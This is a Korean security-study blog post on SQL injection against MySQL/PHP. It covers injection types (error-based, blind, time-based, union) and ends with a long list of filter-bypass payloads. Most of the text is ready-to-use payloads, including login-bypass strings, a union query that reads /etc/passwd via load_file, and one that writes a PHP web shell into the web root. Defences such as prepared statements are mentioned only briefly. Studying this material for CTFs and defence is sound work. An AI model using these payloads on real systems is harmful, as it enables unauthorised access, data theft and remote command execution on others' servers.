[WEB] SQL Injection & 필터링 우회 방법
Security Study/Web

[WEB] SQL Injection & 필터링 우회 방법

반응형

Basic SQL Injection


DML(Data Manipulation Language)

  • Select: 데이터를 조회하는 구문 (Ex: Login Form)
SELECT uid, title, boardcontent FROM boards \
	WHERE boardcontent like '%abc%' LIMIT 5 
    
# "like" != "=" / 와일드카드 사용 시 like 사용 필수 
# %: 아무 문자열 (와일드카드) 
# _: 아무 문자 (와일드카드)
  • Insert: 데이터를 추가하는 구문
INSERT INTO boards (title, boardcontent) \
	VALUES ('title 1', 'content 1'), ('title 2', 'content 2');
  • Update: 데이터를 수정하는 구문
UPDATE boards \
    SET boardcontent = "update content 2" \
    WHERE title = 'title 1';
  • Delete: 데이터를 삭제하는 구문
DELETE FROM boards \
    WHERE title = 'title 1';


SQL Injection

SQL Injection: 임의의 SQL 문을 삽입하여 DB에서 정보를 알아내거나 RCE(Remote Control Execute)로 유도하는 것

<?php
    include 'db.php';

    $id = $_GET['id'];
    $pw = $_GET['pw'];

    $query = "select id from user where id='${id}' and pw='${pw}'";
    $res = mysqli_fetch_array(mysqli_query($conn, $query));
    print($res['id']);    
?>

사용자의 데이터를 쿼리에 검증 없이 대입하면 취약점이 발생한다.

 

정상적인 쿼리문
  • select id from user where id='guest' and pw='guest'
  • select id from user where id="admin" and pw="admin"
악의적인 쿼리문
  • select id from user where id='guest' and pw='' or '1=1-- -'
  • select id from user where id='guest' and pw=''||1-- -'
  • select id from user where id='guest' and pw=''||(select substr(table_name, 1, 1)=0x41 from information_schema.tables limit 1,1)-- -'
  • select id from user where id='guest' and pw=''||(select if(substr(table_name, 1, 1)=0x41, 1, (select 1 union select 2) from information_schema.tables limit 1,1)-- -'

 

로그인 폼에서의 SQL Query
select * from user_table where uid='{uid}' and upw='{upw}';

ex) ' or uid='admin' and 1=1 -- -

  • {uid} 또는 {upw} 부분이 사용자 입력값이 들어가는 부분
  • 기본적인 취약점: 입력값에 ' 또는 " 를 포함하여 문자열 탈출
  • 이와 같은 취약점을 막는 방법
    • php → addslashes() 함수 이용 : 문자열에 포함된 기호들 중, DB 언어에 기능이 존재하는 문자 앞에 역슬래시를 붙여서 문자열 취급
    • php → PDO(PHP Data Object)의 Prepared Statements 이용 : 여러 데이터베이스에 대한 일관성 있는 접근을 위해 만들어짐 : SQL Query 를 어떠한 외부 데이터도 들어가지 않은 순수한 쿼리로 만듦 : 이 과정에서 모든 문자를 ★이스케이핑★ 

 


상황별 SQL Injection

1. Select 구문으로 다른 테이블에 있는 정보 접근 - Subquery 이용

  1. Column Clause (Column 절)
    • ※ 단일행, 단일컬럼의 결과만 반환 가능
    • ex: select uid, (select "ABCD") from users;
    • select uid, (select "ABCD" union select 1234) from users; (X)  // 다중 행의 결과 => 에러
      select uid, (select "ABCD", 1234) from users; (X)  // 다중 컬럼의 결과 => 에러
  2. From Clause (From 절)
    • ※ 다중행, 다중 컬럼의 결과 반환 가능
    • ex: select uid from (select "ABCD", 1234 from users union select "abcd",1234);
  3. Where Clause (Where 절)
    • ※ 다중행의 결과 반환 가능
    • ex: select * from users where uid in (select "admin" union select "guest");

 

2. 참/거짓에 따른 결과 출력 X, 에러 출력 O인 경우 - Error Based SQL Injection

많이 쓰이는 에러 유도 함수 (0x3a: ':'(콜론)을 사용하는 이유는 xpath식에서 첫 문자부터 에러를 발생시키기 위함)

  • extractvalue():  : XPath 식을 지정하여 XML 문자열에서 추출한 값을 반환
# select extractvalue(<XML마크업>,<XPath식>)
select extractvalue(1, concat(0x3a, version()));

/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
  • updatexml(): XPath 식에 해당하는 target XML 태그를, 지정한 XML 태그로 변경 후, 변경된 XML 반환
# select UpdateXML(xml_target, xpath_expr, new_xml);
select updatexml(null, concat(0x0a, version()) null);

/*
ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log'
*/​
  • count(*), floor(rand(0)*2), group by 의 버그(?) 이용
select count(*), concat((select version()), 0x3a, floor(rand(0)*2)) x \
	from information_shcema.tables group by x;
    
/*
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' 
for key '<group_key>'
*/
  • etc ...

 

 

3. 참/거짓에 따른 결과(특별한 응답 - true or false)만 출력되는 경우 - Blind SQL Injection

ex) 로그인 성공 or 실패 여부만 확인 가능

추출할 문자열 중 문자 하나씩 비교하며 참/거짓 판별

id=1 인 데이터의 title 정보를 추출하고 싶은 경우

id=1' and substr(title, 1, 1)='a' -- -
	/* False */

id=1' and substr(title, 1, 1)='b' -- -
	/* False */

id=1' and substr(title, 1, 1)='c' -- -
	/* False */

.
.
.

id=1' and substr(title, 1, 1)='M' -- -
	/* True */

문자열 추출 함수

  • substr( )
  • mid( )
  • left( ), right( )
  • etc ...

 

 

4. 쿼리 결과가 직접적으로 출력되지 않는 경우 - Error Based Blind SQL Injection

에러 발생 유무를 이용하여 참/거짓 확인

select if(1=1, 9e307*2, 0);
# 1=1 조건이 참이므로 다음조건 실행하여 에러 발생(bof)


select if(1=0, 9e307*2, 0);
# 1=0 조건이 거짓이므로 다음조건 실행하지 않고 False 반환

 

5. 쿼리 결과가 출력되지 않는 경우 - Time Based Blind SQL Injection

시간 지연을 통해 조건이 true or false 확인

❖ 시간 지연 함수 ❖

  1. sleep(duration) # duration 초 만큼 시간지연
  2. benchmark(count, expr) # expr 식을 count 수만큼 실행하며 시간지연
  3. heavy query # 많은 수의 데이터를 처리함으로써 시간지연

Heavy Query Ex:

select count(*) from information_schema.tables A, information_schema.tables B,
information_schema.tables C), ... ;

충분한 시간지연 필요한 경우 테이블 여러번 추가하면 됨.

 

DreamHack - simple_sqli

HackCTF - Login

DreamHack - baby-sqlite

https://los.rubiya.kr/


 

SQL injection으로 가능한 공격

  1. 로그인 인증 우회
  2. 데이터베이스 접근
  3. 웹 사이트 콘텐츠 변경
  4. DB 서버 shutdown
  5. RCE ( 특수 경우 )

막는 법

  1. php addslashes 함수 이용- 사용자로부터 요청받은 데이터의 모든 특수문자 앞에 \ 문자를 붙여, 특수문자가 순수한 하나의 문자로 인식됨.
  2. PDO(PHP Data Object)

 


Advanced SQL Injection


 

Non Blind SQL Injection - Union

Union : 두 개의 테이블 결과값을 하나의 테이블에 출력하는 DML

  • Union 조건
    1. 각 테이블에서 반환하는 열(컬럼)의 개수가 같아야 함
    2. 일반적으로 합쳐지는 각 열의 자료형이 같아야 함(MySQL은 자동 형 변환이 되기 때문에 일치하지 않아도 됨)
  • Union을 이용한 데이터 추출
    • 기존 SELECT 문의 출력에 공격자가 원하는 데이터를 합쳐서 출력 가능
http://example.com/portfolio.php?id=3 union select 1,2,3 -- -
/*
id=3인 포트포리오 내용
+ 123
*/

http://example.com/portfolio.php?id=3 union select 1,2,load_file('/etc/passwd') -- -
/*
id=3인 포트포리오 내용
+ /etc/passwd 파일 내용
*/

http://example.com/portfolio.php?id=3 union select 1,2,"<? system($_GET['cmd']); ?>" into outfile '/var/www/html/helloworld.php' -- -
/*
id=3인 포트포리오 내용
+ cmd 파라미터로 넘긴 명령어 실행 결과(hello.php 파일 실행 결과)
*/
  • 보안조치: --secure-file-priv = [path] 옵션 설정 (my.cnf 파일의 mysqld 섹션에 존재)
    • 특정 디렉터리 내의 파일만 Load data, Select, outfile 등을 허용하는 설정

 

Select @Local_Variable (Transact-SQL)

쿼리에서 변수 활용하기

 

SET @var = 1; SELECT * FROM test WHERE date >= subdate(curdate(), @var)  and  date < subdate(curdate(), @var-1);

SET @var=1; select @var #

 

mysql 에선 지역변수에 값을 대입할 떄 := 를 사용한다.

# ex) 
select uid from users where 1=0 or (select @a:=upw where uid='admin') union select @a;

 

Techniques

https://blog.munsiwoo.kr/2019/12/mysql-injection-techniques/

SQL Injection에서 사용할 수 있는 문법, 테크닉을 정리한 글입니다 

 


SQL Injection 필터링 우회 방법

1. =(등호) → like, in

2. substr(문자열추출함수) → substring, mid, left, right

3. 공백 → %20, %09, %0a, %0b, %0c, %0d, %a0, (), /**/, +

4. 숫자를 사용할 수 없는 경우 → false(=0), true(=1), true+true(=2)

5. or → ||

6. and → &&

7. 빈공간, 연산자 응용 Injection
    ex) '=0# , '>-1# , 1'<99# , '=0=1# , '<=>0# , '=1<>1# , '<>1# , '!=2!=3!=4#

8. 비트 연산 응용 Injection
    ex) '&0# , '^0# , '<<0# , '|0&1# , '%11&1#

9. 함수를 이용한 Injection
    ex) '<hex(1)# , '=left(0x30,1)# , '=right(0,1)# , '!=curdate()# , '-reverse(0)# , '=ltrim(0)# , '<abs(1)# , '*round(1,1)# , '&left(0,0)# , '*round(0,1)*round(0,1)#

10. SQL 키워드를 이용한 Injection
    ex) ' <1 and 1# , 'xor 1# , 'div 1# , 'is not null# , admin' order by' , admin' group by' , 'like 0# , 'between 1 and 1# , 'regexp 1#

11. 주석 없이 True, False SQL Injection
 > ID : '=' , PASS: '=' ,
 > ID : '<>'1 , PASS: '<>'1
 > ID : '>1=' , PASS: '>1='
 > ID : 0'='0 , PASS: 0'='0
 > ID : '<1 and 1>' , PASS: '<1 and 1>'
 > ID : '<>ifnull(1,2)='1 , PASS: '<>ifnull(1,2)='1
 > ID : '=round(0,1)='1 , PASS: '=round(0,1)='1
 > ID : '0' , PASS: '0'
 > ID : '+' , PASS: '+'
 > ID : '-' , PASS: '-'
 > ID :'+1-1-' , PASS:'+1-1-'

SQL Injection 연습 사이트 : https://los.rubiya.kr

 

반응형